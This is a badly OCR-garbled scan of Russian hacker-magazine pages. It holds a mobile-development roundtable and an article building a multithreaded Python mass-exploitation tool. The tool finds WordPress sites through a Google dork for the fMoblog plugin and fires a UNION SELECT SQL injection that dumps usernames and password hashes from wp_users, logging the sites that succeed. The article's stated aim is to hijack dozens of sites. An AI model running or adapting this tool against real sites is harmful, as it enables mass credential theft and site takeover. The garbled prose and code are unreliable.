acex KOfllJ1yeCTBO 6aroBi1;:~p2:3HO:l-Gooqle CYMeJla CB3S1Tb OlleHbYJl.o6­ HblM

SDK, (03,0,38 yCflOBIIl\1AJlR KOM~OPTHOi1 pa60lbl ACB€ n Onepa.

nOHI1THO, YTO

Bee 3TO ew,e A::JBOIlbHO (blpae \.'1 6YAeTMeHI1TbUi, HOYACe cei1'13cryr MHOro BCeiD

YfJ,06HOro. V1 H8!l. Google He sween XBOCTCDBMeCTVlMOCTVI c npe,!J.bl)Wll\VlMW BepCI1>iM\II nn3npOpMbll1 apxillBOM.AeBa~COB,n03ToMY API AJlR

Android lllJ1LLJ,e VI

KpaCI-1Bee OnOKYMEHTAW"'~:AoKYMeHTal.J,iI1lO c,o,en3JllJ1 nOYTlJI VlAeallbHO -

11 AOXOAYVlS3". $16bl Ol.\eHVlJl H3 4 no mnVl6allbH0L1. Aa

(II

nOAPo6H3>l

KOMbfOHl1Tl1 y;t:e c¢op­

«GOOGLE CYM EllA CBASlTb 04EHb YA05Hbl~ SDK, C03AAB YCllOBHSl AllSl KOM<I>OPTHO~ PA50Tbi AEBEllOnEPA. nOHSlT­ HO, 4TO BCE 3TO E~E AOBOllb­ HO CblPOE H 5YAET MEHSlTbCSl, HO Y>KE CE~4AC TYT MHOrO BCErO YA05HOrO».

HecomaCOBaHHO, n03TOMY np0l-13Bo,o,l-1Tefll-1 ,o,eJlaIOTCBOI-1 HI-1 CyaM He COBMeCT>1Mble API. OrcfO,o,a Bce np06Jl€Mbll-1 r0JlOBHa>l 60Jlb. He cy~eCTByeTCT3H,IJ,apTHoroAPIAJl>l o6pa6oTKV1380HKOB lIInl-1lnstant Messaging, HeTSIP-CT€Ka,IJ,Jl51 VoIP, a craH,IJ,apTl1bl~ Ha60p UI-KoMnoHeKToB 60Jlee yeM CKpONeH. Bce 3TO 11 MHoroe ,DJJylOey K3>K,IJ,Oro np0l-13BO,IJ,lIITeJlt1 YHl-1KaJlbHO, a Ko,o,epy npl1xo,o,l-1TCR nO,rJ,CTpaI18aTbC>1. J1yYOM CBera B TeMHOM u,apCTse BblrJl>l,IJ,\I1TJavaFX Mobile, HO 3TO 6y,o,yw,ee, B03MO>KHO, ,qafleKoe.

o KOA~HrE: Java ME no CI-1HTaKc\I1cy npaKTI1'1eCKl1 COBna,o,aeTC «60JlbW0f1li Java. OTC\jTCTByeTfinalization, JNI,qJl>l pa60Tbi C6l-16Jl\l10TeKaM\I1, Hanl-1CaHHbIMl-1 He Ha Java,

l-1

eCTb p>l,IJ,,[\pyrl-1X OrpaHI-1'1eHI-1~, Bce KflaCCbl, OTHOC>lW,l-1€C>l KM E,

crpynn\l1poBaHbl BHyrpl-1 naKeTOB javax.microedition. CTaH,D.,apTHble cpe,o,CTBa R3blKa crpynnl-1pOBaHbl nOTeM;t:e naKeTaM, '1TO l-1 eeCbMa

cOKpa~eHHoM

B Java

SE, TOJlbKO, KOHeYHO, B

COCTase.

50JlbWVlM He,rJ,OCTaTKOM 5lBJl51eTC51 oTCyrCTBl1e \I1HCTpYMeHTOB,Djl>l YA06H0(;1 OT­ Ml1pOBanOCb. 3a COBeTOM Vl nOMow,bfO CMeno MO;t:HO waraTb Ha code.~

1l3AKlII np\I1JlO>KeHl-1l1 Ha yCTpOL1CTBaX, BeAb pa6oTafOw,a51 Ha 3Myn>lTOpe nporpaM­

r;om/a ndroid/groups.ht mi.

Ma SOBce Heo6513aTeflbHOTaK>Ke 6e3 np06JleM 6YAeT I-1CnonH>lTbC>l H3T€Jle¢OHe l

060CTAIlbHbIX:JlVlYHO MHe, HaS€pHOe, 60nbwe scero HpaB\l1TC~ J2ME (M lOP

o COBMECT~MOCTVI: KOr,o,a pe'1b3aXOAl-1TO MeHeeTpl-18l-1anbHblx Bew,ax

2.0+1. CHa H3V16oJlee npo,qYM3H2, XOHI \11 co CBO\l1MV1 He,qOCTaTKaMl1. Pa3Apa;t:aeT

[Hanpl-1Mep, progressive download, Bluetooth-'1aTc H€CKOflbKl-1Ml-1(6onee yeM

Bonpoc COBMeCTMMOCTl-1 Cpa3HblMVl Mo,o,enliM\I1Tene¢OHos, Kor,o,a y Ka>K,IJ,oro

YCTp0f1Cm3M\I1J. o6Hapy>Kl-1BaeTCR Macca nflOXO AOKYMeHTL-1pOBaHHblx oc06eH­

npm-13Bo,o,\I1Tem, onpe,qeneHHbll1 Ha60p API

HOCTef1, npl-1cnOC06l-1TbC>l KKOTOpblM npeACTom HenocpeACTBeHHo nporpaM­

11

Ha BTOpOM MeCTe - Windows Mobile. 3Ta OC ,o,aeTnporpaMMV1cT'j60flbwe B03­

Ml-1CT'j. KpoMe scero npo'1ero, peaflbHbleYCTpOl1CTSa CTpaAaIOTBC>lLJeCKl-1Ml-1

MO>KHOCTCL1 no ynpaBJlel-I\I1lo::t::ene30M TeJle¢OH3, HO \I1311aTb HyIKHO 60Jlbwe ..Qn>l

OrpaHl-1yeHl-1>lMl-1 B pecypcax l-1 npO'1l-1Ml-1 Henpl-1\1THbIMI1 «CKJpnpl13aNl-'1».

J2ME l1,o,fl" WM eCTb OTfl\l1YHble IDE [Eclipse V1 Visual Studio] \11 cpe,o,CTBa OTflaA­

OAOKYMEHTAW1101: Bce, '1TO KaCaerC51 6a30B0f1 nflaT¢opMbl JTWI-YCTpof1CTB

KlII. OljeHb MHoroAoKYMeHTa~\I1l11 Vl pa3JlW,HbiX how to. V1 TaM, \11 TaM HyIKeH onblT,

[java Technology ForWireless Industryl,- xopowo npopa60TaHo \11 OTJla>KeHO

cpa3y MaflO '--lTO nOflyyaeTC". nepexo,q H2 3T'j nJlaT¢opMY 03HayaeT MaKCl-1MyM

HOAb>lBOfl KpOeTC51 B,IJ,eTaJl>lX.l-1 Ao6paBweMyC>l ,o,oreCT\I1pOBaHI-1>l npV1flO>KeH\I1>l

C\I1,rJ,€H!Ilt13a ,o,e6arOM \11 Ha ¢opyMax, MI-1HI-1MyM Ko,o,I-1Hra. no,o, WinMo nOMor3CT

H3 Tefle¢oHe BPt1,rJ,f1l-1YAaCTc~ 060l1Tl1Cb 6e3yrJly6JleHl-1$l B,IJ,eTaJlI-1. 10ToBbTecb K

onblT npOrp3MMl-1pOSaHVlt1 WinAPI. Symbian MHe COBceM He nOHpaBl-1flacb.

yaCaM KOpneHl-1>l B debug·e.

803MOIKHO, nOToMy YTO 3HaKOM OTHOUneJlbHO nosepXHOCTHO.

o KOM bIOHIo1TIo1: cyw,eCTByeT HeCKOJl bKO 60nbw l-1 x,o,eBenonepc Kl-1 x KOM bfO HI-1Tl-1,

ODEHbrAX: nOK3 B03MOIKHOCTl-1 npo,o,3saTbLJepe3Android Market Her, HO 06ew,aKn, YTO BOT-BOT 6y,O,eT. rl r:ef1Y3Cpa3pa5aTbls3fOAugment Reality-l-1rpy

nOCB>lw,eHHbIX pa3pa6oTKe Mo6l-1JlbHb1X npl-1Jlo;t:eHl-1l1. 8 nepBylO O'1epe.Qb, 3TO pe­

AJlt1 Android. MO>KHO C'1l1TaTb, YTO 3TO xo66l-1, HaAefOCb, 1-13 Hero nOJlj'lJl1TC>l '-ITO-TO

Ericsson, Motorola, KpoMe, eCTeCTBeHHO, cneu,l1¢l-1KaLJ,\I1L1 \11 guide-lines, AOcrynHblX

,O,OCTOf1HOe

AJl>l CK3Yl-1BaHI-151, OTBeTbl Ha HeKoTOpble Bonpocbl, CB>l3aHHble Coco6eHHOa$lMl-1

++++++++++++++++++++++++++++++++

lt1NnJlCMCHTau,i1\11 TOL1l-1Jl\l1 \I1HOL1 ¢yHKLJ,l-10H3JlbHOCTl-1, MO>KHO H3~T\I1 Ha epopYMax.

_

·,ciencesoft.coml, r,o,e q pa6oTalO, Mbl y'1aCTByeM B npoeKTax no BceM Ha­

CypCbl, nOMepIKI-1SaeMble np0113BoAvrreJl5lMl-1TeJle¢OHoB.nYl -lWVle -y Nokia, Sony

06ANDROID: B M06l-1JlbHOM no.u.pa3,qeneHl-1\11 KONnaH\I1\11 ScienceSoft (WNW OnbITPA60Tbl:J2ME.Sony-EricssonUIQ,

Motorola, HeMHoro BlackBerryOS Vl6blfll-1 ew,e nnaT¢opMbl oTLG 11 Samsung

3ACnYr~: Sun Certified Mobile Application Developer.

nI06~T: Sony Ericsson -

4ever l

HEJH06~T: S40, S60 3a 60JlbWOe KOJlVlyeCTBO He,o,OKyMeHTl-1pOBaHHbIX orpa­

npaBfleHl1>lM pa3Bl-1Tl-1>l Mo6V1JlbH0f1 Java: J2ME. Blackberry (KoTOpa>l OLJeHb 6fl\l13K3 KCTaHAapT3M Sun!' Android. Cef1yac MHorl-1e java-npOrpaMMl-1CTbl c HaAe>KAoi:'i CMOTp>lT B CTOPOHY Android. OH T3K\I1 OTKpblJl MHOrl<1e He,rwcryn­ Hble j2me-wH\I1KaM API - 3TO OTfll-1YHaQ HOBaQ Hl-1Wa .QJl$l pOCTa AOJlI1 pblHKa

H\I1yeHI-1f1.

Java, nycTb 11 He B pYCfle nOJll-1Tl-1Kl-1 Sun. A KJ2M E-nJlaT¢OpMe B nOJlHOL1 Mepe

aJAVAME: '{'-iaCTHI-1KI1 Java Community Process 80 rflaBe CSun yCl-1JleHHO,IJ,Opa­

npl1MeH\I1Mbl cnosa r"eHepafla.Qe !OJlJlR: «E€ >K,IJ,eT Befll-1KOe 6y,o,yw,ee,lIIBcer,o,3

fiaTblBafOT Java ME, HO HOBblepeW€Hl-151 npl-1HI-1MafOTC>l KaK-TOOyeHb MeAJleHHO >1

6Y,rJ,eTee >+<,o.3Tb... <Je

XAKEP 05 /125/ 09

~

095


'-+++

>> coding

':=r=J -+++

"+++

!POMAH "SPIRIT. XOMEHKOI

I HTTP,//TlITAMC,COHIt" ~

I::J -+++ I

,

.+++

i~I:P -+++

no-nporPAMMEPCKI1 ABToMaT~3a~~~B3noMaca~ToBcnOMo~b~

xopowo.

A COTHIO?

.+++

3aXBaTV1Tb OgV1H CaMT, K npV1Mepy, 3a yaC -

BOTy>K

::::r::::::J

geMCTBV1TenbHo 3g0pOBOI B 3TOM HenelKOM gene xaKepaM nOMoralOT

.+++

nporpaMMepcKV1e cpegCTBa aBTOMaTV13au,V1V1, CeMyaC Mbl, Ha OCHOBe KOHKpeTHoro npV1Mepa, HanV1weM Tymy Ha Python, C nOMOUJ,blO KOTOpOM

.+++

3aXBaTV1M HeCKonbKO geC5HKoB caMTOB,

'::::r::::::J CDeAM MHo>t<eCTBa ca~TOB Ha KOTOpbl€ no,o,nlt1ca­

',+++

Ha MOR RSS-4l-1TallK3, nO'-leTHOe MeCT033HliIMaeT

concat {user_login, Ox3a,llser_ paSS,Ox3a,user_email),6+from+wp_

B3SlTbBCe C~M80nbl, KPOM€,ilBOi:iHblX KaBbicieK l-1/l\l1

KpynHe i:1 WI1U 6ar-TpeKep .h1liU/mjlwOrm .com.

users-­

3HaKa

3,D,eCb BVI,o,VlM. '-ITO 6 KBaApaTHblX CKo6KClX YKa3aHO

&. nOClle o6pa6oTK\I1 p3r3KCnOM CTpOKa

BI-1,D,a:

nOCTOAI,t-We '-neHlt1e .o.aHHoro pecypca co epeMe­ HeM nO,ll,SellO /.leHA K I-1HTepeCHO~ MbICJJl,1 -

+++

::::r::::::J ,+++

1+++

::::r::::::J

HK

mCnli1COK >KEPTB

.<h3 class=r><,J.

H3 npaKU1Ke npltlMeHV1Tb BClO :ny Ky4y nOCTOQHHO

nlO6ol.1 Macco8bli:13axBar cai4T08 Ha'-1l1lHaeTC51 C

06HOBJl5110LlleLilc!;Ilt1H¢opMaL(l-1\1l. ~ peWliIll C03,D,aTb

nOlllCKa nOAxO,D,S1U\I-1X KaHA14,D,aryp.

csou ManeHbKl.1Li1 xaK-KOH8e~ep. KOTOPbli1 Ha 8)(0.0.

aBTop J1I06e3HO npeAOCTaSl-1n dork -

6y,ll,eT npl-1Hl-1MaTb cse)l(L-!C 6arl-1 c mil'NtJrm. a Ha

nOVlCKa, C nOMOUJ,blO KOTOPOi:i MO>KHO nonY'-l\l1Tb

- sepHeTCR K HaM B nepaOM napaMerpe B BVlAe:

Bblxo,o,e - BblJ:\aBaTb MHorO-MHoro naponei1 KcaiA­

cOfllilAHbI(:i cnlllCOK nOTeHl.\V1anbHbIX >KepTB.

nttp:/Isaturdaybany oro/?pgge

TaM. KaKTbI AoraAblBaeWbCSl, V1AelO Sl lie TOJlbKO

npaB,Qa. V1CXOAA \113 onblTa. OH He (08CeM HaM

Tpe6yeTCs<.

8

onl-1CaH VI VI 4Jpa3YAllS<

AOsen,110 npaKTVI'ieCKoi:1 peanVl3al.\VlVI. 1i0 VI ropKJ

nO):lO~):IeT. eeAb ):IllS< cnl1014Ta Hy>KeH Ban VI,QHbll.1

V1cnollb3y51 3TVl3HaHVlR. H3,'''''weM CKpVlnTnap­

V1AeHT144J14KaTOp CTpaH\I1L1bl. 3TOT ltIAeHTl4¢V1Ka­

CltIHra [google,pyl. KOTOpbli:i 6Y,D,€T CK/laAbISaTb pe­

6Y,ll,eT n0J1Y'i14Tb O,D,HO­

06U\M(:i aJirOplo1Tf.ol pa60TbI Hawero 3a80AI<1Ka 6YAeT

TOp nOIo1CKa HaM Ha):lO

TaKI<1M:

BpeMeHllO cURL CTpaH\I1l.\bl, n03TOMY AOpK Mbl

• ,QOCTaTb cnVlCOK 8cex cai1TOB. TeOpeTVl4eCKI1

143MeHI<1M Ha:

4++

BaTbUI He 6y.o.eM, KOMMeHT~p08aHHble \1CXO,D,H~K\I1

S1 flVlWb 3aMe4Y,

• nOnbiTaTbC51 3KCnJlyaTVlposaTb Y513BIiIMOCTb B

inurl:page_id+"Gallery+powered

'-tTOTa"" nO."lKJlKJ'jeH O,QVlH HeVl3secTHbli:i Te6e ca­

Ka>t<,!J,OM Vl3 H\I1X.

+by+fMobJog"

MOnltlCJ.lbli1 MO.Qyl1b curl. pa3MeUJ,eHHbli:l B (jlal.1J1e curl.py.

mnpli1MEP AIHI KOHBEII1EPA

pycurl. Curl.py COCTOIllT Bcero "'13 OAHoi:i cflYHK4\11\11.

AOpKY:

KOTopafl o6/ler'iaeT \I1CnOllb30BaHVI€ pycurl np\l1 Get-33npOC<JX. 3Ta ¢YHKl.\VlR url_get npVlHVlMaeT

http://www.google.co m/

search?q=dork&starl=O

ACM. B03bM€ M nocne.QHee, 'ITO eCTb Ha milwOrm nOAll1061i1Mbl(:i MHOr\l1MVI Word Press -

h.lle.1L

OjJ,ltlH napaMelp -

URL CaYlTa. a B03Bpall.\aeT 11.Jl1-1

nycToe 3Ha'-leHVle, eCflVl3anpoc He YA2nCR.

nOcne 3arpy3KVI CTpaH\I1l.\b1 Mbl npVlMeH VIM perynSlpKy. nOlly<"H18 C ee nOMOUJ,blO cnVlCOK

curL.py

wordpress Plugin fMoblog Remote SQL

URL Y513BIIlMblX

Injecti.on Vulnerability AUlhor: strange kevin

llerKO, nOCMoTpeB Ha \I1CXO,D,HylO CTpaHVlu,y ryr­

ToD H .QJ1.51 ;:>a60'1'kJ co c'rpOJ{~MI1

11a

::r:::::J

Dark; "Gallery powered by fMoblog"

B Tere «a», KOTOPbl~ lII,QeT nocne 3J1eMeHTa C

import pycurl import StringIO

+++

Exploit: http://www.site. cam/?page_id= (valid_id] &id=­

+++

99+union+all+select+l,2,3,4,group_

+++

~

096

ltIJlI-1

TenD OTseTa. PaCCMOTpVlM ero 60,1ee no~po6HO'

mllwOrm.com/c"(.ololtS/8229. rAe Onl1CaHa 6ara B

II

0 ... npe,QCTaSl1HeT co6ov, 06Bepn::y Ha~

ATenepb npOnapC14M ryrn no sblWe03HayeHHoMY

HaA Bbl60pOM np\l1Mepa ,n,O/lro MY4l11TbcRlie 6y­

nnar\l1He rallep€ l -1 fMoblog:

.... 1,

3Y.JlbTaTbl B 4Jai:tll (l,'anpl-1Mep, google txt). Ha 3'rOM CKpl-1llTe, 8 cVlny ero npOCTOTbl, Mbl ocraHaBJlI<1­

Tbl CMO>KeWb Ha(:iT14 80 Bpe3Ke.

nplilCTynVlMI

l::

id-12, 'iTO HaM ltI

>K€naHVleM nO.Qen",TbC51 CT0601.1 nOAPo6HOCT51MVI.

cOAepxaU\\I1x Ys:l3BVlMOCTb;

:+++

href=~http://

saturdaybang.org/?page_ id=12&id=16~ .

caihoB. COCTaS\I1Tb peryns<p Ky

nocne nOVlCKa: Bce Hy>t::Hoe HaM HaXOA14TCS1

if nO.QKnD'-laeM !I)O.lJ,'iP..~1 Anlot Pc.60'i'hl c ce­

KflaCCOM «r,). VlTaK. npowy ll106\11Tb VI >t<anoeaTb

II B apry!I),=H,:,e r:epeAa€ " M

Haw per3Kcn:

de~

JRL 3anpoca

urI_get (urI) :

11 H:-IVlUl13mt3:1pyeM C6beKTh:

class=r><a hreE= ~ ( ["'»&]")

data = StrbgIO.StringIO() XAKEP 05/125109


» coding

Ir--I

a 3aTeM, 8 nepeMeHHblX. YKa~eM Ha3saHlo1Sl Qlai:!­

rez = re.findall('::

110B. KOTopble HaM HY)KHbl:

if (len(rez)==O):

,rez)

failed(url) fi18_goog1e = «google. txt»

else:

file_success = «success. txt»

= pycur!.cu-:-:()

curl

(.~);;'

jlHacTpaWBaeM

success (url + ' : ' + rez(O]l

= «failed. txt»

thead = 20

file failed

pycu:=-l

max_count

print 'If ' + url +

tested'

curl. secopt (

pyeurl . FOLLG:':'LOC.!!..TION, 0)

B lile_google 6YAyrHaxoAV1TbC" TeCTlIlpyeMble

curl.setopt( pycurl.CONNECTTTMEOUT, 30) curl.setop~(pycurl.URL.urI) curl.setopt(pycu=1.:2,ITEFUNCTION, data.\'oJrite)

ca(iiTbi.

8 file_success nona,aeTYAa4HblL:i pe3y.nb­

TaTTeCTl1pOaaHlIl5l, a 8 file_failed -

HeYAa4HblL:i.

If

06paMMleTC5l ABOeT04l>1eM IOx3aJ -

6bl Bce nOTOKl.1 M0rJ1lo13amlCblBaTb Io1H<popMa­

I.leMy pe3y.nbTaT Mbl CMO)t(eM 1013BJ1e4b npocTo~

l..\V1Kl B $a~.J1bl 6eCnpenl'lTCTSeHHO. Cp,C11aTb 3TO

peryJl~pKoL:i.

6YAeT Io1cnOflHSHbC51 B nOTOKe B npOl..\eCce

~1CnOJJ~I.:=lev. 36.::;:<::

curl.pe=form{l

except:

3a­

pass B03Bp~ll!lQeH E,:>e:3/J:b7-J7

return data.getvalue(}

HaMlil6Y.QeT ,10J1yyeH <flaVill

OTKpblHle, 3aKpblTltle V1 caMy 3anlo1Cb npeACTOIo1T

failed.txt.

TeCTl.1pOBaHvHl 6YAyr Ill.1Wb Bbl3bl8aTb I1X. Ail"

~ MHoronoTo4HOCTb

:noro nOAK11104ltlM B H3W€ M MOAy.ne TeCTlIlpOBa­

8

Hltl51 r.naBHylO nporpaMMy, 4T06b! Io1MeTb ,Aocryn

nOT04HOCTb.

K $YHKl\ltl>lM, KOTopble Mbl H<l30eeM success V1

npe.QBapl1TenbHO l.13Y4l.1M HeMHoro Teop 111 101.

V1x

nOAKfl104eHlIlSl BblnOI1HV1M TaK:

google.txt co CnltlCKOM

Mbl MQ)f(eM nepe~n-1 K CilMOMy i'tHTepeCHoM¥ -

K

pa3pa6oTKe (1108Mbl TeCTL-1pOBaHlIl51.

~npOEKT~POBAH~E3ABOAA cnoco6aMIo1, IW MHe 6bf XQTenoc::, co,ellaTb CTaBKy Ha yHIi!8epcanbHOCTb -

MaH,Ay «import thread>,. HO 3a nyc KaTb a 6col1 10TH

HeY,A3YHOM B3J10Me, Hy)KHO Bbl38aTb:

failed (' site')

<PYHK411l11 reCTV1pOBaHlIlS1. nYCTb OHa 6YAeT Ha­ 3blBaTbCSl run lt1 B Ka4€CTBe apryMeHTa nplIlHlIlMaTb

nepBo~ (rl1aBHO~14aCTlt15y,o,er BXO,Ql.1Tb OTKPbl­

urI Cal-1Ta Af151 recmpOBaHI151:

3anYCK <!JYH Kl..\>1lt1 npOBepKV1.

import. re

def

lJ,1Il1ll.

B KOH<p",re B nepeMeHHoi1 max_count_thead

Mbl YKCl)l(eM MaKCYlMaJlbhOe KOJ1V1l.leCTBO nOTOKOB,

XAKEP OSf125/09

npocTeHbKylO $YHKLJ,l1lO C O,l:\HOL:i lt1HCTpyKlJ,l1elir

Ie Python Heflb3" 06b51BIilTb lJ,IolK.n lo1l1V1

<PYHKLlYlIO coeceM 5eJ Io1HCTPYKUIo1~I:

dcf some_function (l :

pass

Aa.nee JanyCTVlM :3TY ¢YHKUYlIO KaK noTOK:

oTAeflbHbl~ $aL:in pap,lt1 o6ecne4eHlt1l'1 rV16KO­

PA3PA50TKA WP.PY

cnoKoVi­

impol·t curl

CTIII. nYCTb rna8Hbl~ ¢IaL:in 6Y,AeT Ha3blBalbC"

MO.r:\ynb wp.PYCOCTOlllT lt13 KOHeplllra >1 OI'HOL:i <PYHK­

-

nOTOK KOMi1HAO~ thread.starl_new_thread

«pass»

,aelllt1Tb Bce X0351~CTBO Ha I-\Be 4aCHI. 83ap.a4lt1

~

a ,Aal1bWe

°11106ylO QlY HKU,1011O Ka K

AM AeMOHCTpal..\10111 ,l:\aHHOrO no,o,xoAa 06b51BI1M

,aaHl>Hl rIla8Horo MOAyMI. nepGL:iAeM K pa3pa6oTKe

wp.py.

AaMlo1. Mbl paCCMOTplt1M T011bKO O,D,KH [MO~

K nplIlMepy. YTo6bl 33m1CaTb V1HQlopMal..\Io1Kl 0

4T06b1 ero MO)t(HO 6blllO 6bl no,D, Hlt1X OnepaTlt1BHO

-

MHoronOT04HoCTb B nlo1TO H e .QOBOJ1bHO n pOCTa

06bl'lBI1Tb 6lt16.n110TeKY «thread» 4epe3 KO­

CaMV1 <PYHKLllo1ltl Mbl paJpa60Ta€ M B np0l..\ecce C03­

a tPaL:iJ1 C 4JYHK~lo1e(ii TeCTlIlpOSaH>1~

nOHV1MaHlIlSl

KOTOpe5l onpeAellfleT rJ1a8Hbl~ MOAyJlb. Tenepb.

Klt1e, lil CKplllnT p,OJ1)~:eH 6blTb p,OCTaTo4HO r>16Kl-1M,

a caMy<PYHKl..\IolKl npOBepKIo1 Mbl BblHeceM B

,D,ml I1Y4wero

JlI06l.1Mbl~l. AnSl ero l>lCnO.nb30BaHl>HI Hy;:+;;HO

6ar\<1 nOfl13Jll1iClTC51 BCl'l­

B 06u.teM, 51 peWI111 pa3­

SlApe Mbl 5YAeM l.1cnOJlb30BaTb MHoro­

_main_ -3TOCneLJ,l1anbH351 nepeMeHHa51,

CKpL-1nTTeCH1pOaaHI-HI peamoyeTcSl pa3H blMlt1

autotester py,

II

lt1 peaJ1l.130aaTb ee MOiKHO pa3HblMlo1 Mero­

(rom _main_ import. success, failed

TeOpen1'-1eCKlII Yl'l3SV1MblX (aVIlOS, 6J1aro.a.ap51 4eMy

-

a HeYAaYHOrO Bbl­

HocmC5l Ha nOJOpHbl1ir CT0J16, l.1M~ KOTOpOMy­

failed.

H1e cmolCKa ca ~TOB,

Pe3YilbTaTbl YAa4Horo 83nOMa 3anlt1CbIBaIOTC~ B cooTBeTcT8YIOL1lIo1~ ¢af1n,

nlo1CI1 B $aL:inblltl3 HeCI(OllbKltlX nOTOKOB. n03TOMY

nocne 3anycKJ HanlilcaHHoro CKplo1nTa google.py

MOAI1<!Jlt1u,lt1pOliaTb.

6naro,aap5l

BbIH€CTIo1 B rIlaBHylO nporpaMMY. a QlYHKl..\lt1l-1

curl.close{) Ii

nOrl.1Hbllo1 napo.nV1. nplIl BbiBOAe peJynbTaTaTOT

C Qla~J1aMIo1 eCTb0,AIo1H HlOaHc. HaM HYiKHO. 4TO­

B QlYHKU.l-1l.1 TeCTlilpOBaHIo151 Hellb351,laK KaK OHa

try:

CH34ana B HeH AeJlaeTC5l 3anpoc. 8 KOTOpOM npl.1cyrcTByeTSQL-I1HbeKUlIl". OHa BeplieT HaM

:run(url);

thread.start_new_thread(

some_function, ())

new_url '" url + '&id=­ 999+union+all+select+l,2,3,4,

A nOCKOJ1bKY npe11eCTb noTOKOB B Io1X K0111il4eCTBe,

group_concat(Ox]a,Ox3a,user_

TO 3anYCTYlM cpa3Y ,o,eCSlTb WryK:

login,Ox3a,use r -P8ss,Ox3a,Ox3a) ,

6+froffi+wp_users--'

tor i in xrange(O,lO);

chread.start_new_thread(

some_function, ())

~

097


1+++

:,::r::::::J

»

coding

'.+++

"+++ lilt

I

611ArOAAPH MYllbH1KY, Mbl 3HAEM,KAK BbrrllHAI1T P' THON

+++

'-+++ I1MEHHO 3TOMY WOY PYTHON 06H3AH CBOI1M HA3BAHI1EM

:~ ;~~! .'.;)<

L+++

'.........1«)'1>1="'"

'~""J~~;;;r~=~~~;-;-~'5-:-~

,+++

::::r:=J '+++

f~:·;~..

'-­ ~~ S':

I!S_

10

~ '~H

....~._

'

' . - " ; - ,. ., . . . . .

,,1 "_.'" •.,,

~:~

"1"::::'.':::::" [~ ~~~~;:~;'

-

...............

N;_ _

1

.~._•• I,..

.

CKPI1H OAHOHI13 >KEPTB nOCllE 11 HbEKl..\11 11

3AeCbeCTb np06JI€Ma - oTcyrCTByer BcrpoeHHoe

mPA3PA60TKA SlAPA B rllaBHoL'i

H\t1e n010K061-l \t1X KOJlL-lyeCTBO npV1 ViCn0f1b30e<lHlIllil

nO,!J,KJlIO'-lIo1Tb ¢IYHKlI\.11O TecmpOS3 HWR. nYCTb

rna SHaH nporpaMMa MQ>l<eT 3&­

nporpaMMe nepSblM ,o,enOM Hy>KHO

HamKaHa MR 60Pb6bl C Ay611I1PYI011\V1MI1Ur

iil€ _ test_site

= 'w'P'

ryrnal. Ko,o, ¢YHKlIlo1l'1 TaKOB:

4TO 6YAeT03HJ4aTb, 4TO KOJl1014eCTBO 33nyw;eHHblX

site. TO nmQH Bbl,o,aCT %an06y 113 OTcyrcrSlo1eTa­ ICora MOAYll~. n03TOMY nOAKJ1IO"laTb HY-KHO 4epe3

1:

ca~TaMI1 (eCJll.ol OHI'I oCTaHyrcSl nOClle napCltlHra

ECl1l1)1(e nonpo60B3Tb Bbl3saTb import file_tesl_

nOTOKOB paSHO Hy11l0 npltl Ka>K)l,OM 3anycKe nOTOKa Hy>KHoyaelllo1'-lI'1BaTb Haw ¢Inar H3

'w')

3AeCb Bce 1013seCTHO, KpOMe ¢YH KlIV1l-1 uniq. OHa

nepeMeHHoi1:

XpaHl<lTb KOJIVlyeCT60 aKTI'1BHblX nOTOKOB. Ha30BeM

O.

cest_site. file_success,

Cfailed = open (

test site. Iile_Lailed, 'w' l

\.1M~ ¢Iai1na C 4>YHKlIlo1eL'i 6Y,QeTxpaHHTbC~ 8

All" peWeHiIl>l 3T0l1 np0611eMbl AO(TaT04HO BseCTltl

ee «count_thread}) V1 BHa4a11e npltlC80ltlM eC1

+++

Q•

,

AonOI1HltlTenbHYIO nepeMeHHylO. KOTopaR 6y.o.eT

+++

'

__•. ­

cpeACl8o, ICQropoe 6bl KOHTpOflVlposaflO BblnOJ1He~

thread.

......----.~.

~"7~='=:~~~~ .j"""""'I,......:'~...::...-;.--­ ~"7:::~=~;l~,~~~=--_' O O l _. .jA"• .­ " _

NETBEANS ­ YA06HAH CPEAAAllH npOrPAMMI1H­ rA. B nocnEAHEE BPEMH OHA nOllHOCTblO 3AME­ HI111A MHE ECLIPSE

MO,Qyml

_._."­

';.1 • .'~., ......

.

aepWltlTbCl'l, He A0>KIo1Aa51Cb BblnOllHeHltl>l nOTOKOBI

.::r:::::J

....... _.;;:

"oJ,.",.",·-; •." ...."""

,.... . .HIO)I<

+++

+++

y.,....

......,...."""., ..,

~'~!Nr

.~

... -'''''''

'.,o"""":,,,,<-·lQ~_~~::o21

'l" ,":':;'~~ --_ ..

'u

L+++

"'j.,.".,._""."

....,.._,,,. ,_.,_. ..

it-k..;­

'1--"-" ~ ..:;;;;;; '

··D_·..... ·~H __ <..

_

­

.. i~""Jh;'W~~~~' ~ ..

~_.

i.::;:"

.. ,,',

cnell~al1bHYIO<PYHKl.I,HIO CJ1e,ayKlw,I-1M 06pa30M:

de! uniq(j.n2.ist): it o6bSisHM rryCTOi1 CruiCOK

rez = [J II LD1Kn no llCC'M}' nxO,q,HOI-l'y' Cl1vlCKy

.::r:::::J .~+++

for i in xrange(O,sys.arg.,,[3J):

count_thread +oo 1

thread.start_new_thread{

some_function,

(l)

test_site _import_(

file_Lese_site)

;0;

for ite.ll in inlist: k OCJT\1 3J1eMeHTa HaT B I1CXOJ1ffilleM

C!1Y:C:<8

5naro,o,apA 3T0i1 CTpO"lKe, Bce <pyHK1.411\.1 \.1 nepeMeHHble c wp.py 6YAyT AocrynHbl '-Iepe3

KpOMeToro, 6 K3>K,o,YIO ¢IyHKu,Io1JO. KOropylO Mbl

nepeMeHHylO test_site B fnaBHoi1 nporpaMMe.

nnaHlo1pyeM 3anYCK3Tb KaK nOTOK, HyxHoA06asIo1Tb

K nplo1Mepy, 4T06bl 06paTltlTbC51 K nepeMeHHoL'i c

113MeHeHIo1R,'-H06b1 OHa nplt133eepWeHl-1l-1 cBoeC1

MClKCIo1MallbHblM KOJ1V1yeCTBOM nOTOKOS. 06bSlS'

pa60TbI YMeHbwal1a 4>llar nOTOK08 H3 eAltlHl-1u,y:

J1eHHO~ B wp.py, Hy>KHO Han V1caTb CJ1eAYIOLllee:

if i ten not in rez:

#

no6aB~1 3:lEMEH? B pe'3YJlhTa'Y'

rez . append (i tern) re::.urn roz He 3a6Y,ll,b TaK>Ke Hanlo1caTb ¢YHKLJ,l-1101 ,ll,ll~ 3anlo1(1.1 pe3Yl1bTaToB.

def some_function():

print test_site.max_counc_thead

K npltlMepy,

ycnex Mbl

3aepl1KCl.1pyeM TaK:

global count_thread

count thread

- 1

